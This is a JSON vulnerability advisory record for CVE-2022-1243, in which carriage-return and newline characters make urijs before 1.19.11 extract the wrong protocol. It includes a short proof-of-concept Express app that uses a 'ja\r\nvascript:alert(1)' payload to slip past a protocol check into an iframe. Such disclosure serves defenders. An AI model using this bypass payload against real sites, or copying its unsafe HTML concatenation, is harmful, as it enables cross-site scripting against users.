{"id":"CVE-2022-1243","aliases":["GHSA-3vjf-82ff-p4r3"],"url":"https://o3.security/vulnerability/CVE-2022-1243","summary":"CRHTLF can lead to invalid protocol extraction potentially leading to XSS in medialize/uri.js","details":"\\r, \\n and \\t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.\n\nThis can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):\n````\nconst parse = require('urijs')\nconst express = require('express')\nconst app = express()\nconst port = 3000\n\ninput = \"ja\\r\\nvascript:alert(1)\"\nurl = parse(input)\n\nconsole.log(url)\n\napp.get('/', (req, res) => {\n if (url.protocol !== \"javascript:\") {res.send(\"<iframe src=\\'\" + input + \"\\'>CLICK ME!</iframe>\")}\n})\n\napp.listen(port, () => {\n console.log(`Example app listening on port ${port}`)\n})\n````","published":"2022-04-05T15:05:18Z","modified":"2026-08-12T03:51:46.918242348Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":{"score":0.00663,"percentile":0.48723,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"urijs","fixedVersion":"1.19.11"}],"fix":{"url":"https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae","label":"medialize/uri.js@b0c9796"},"references":[{"type":"WEB","url":"https://huntr.dev/bounties/8c5afc47-1553-4eba-a98e-024e4cc3dfb7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/1xxx/CVE-2022-1243.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-1243"},{"type":"FIX","url":"https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae"},{"type":"PACKAGE","url":"https://github.com/medialize/uri.js"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:46.918242348Z"}}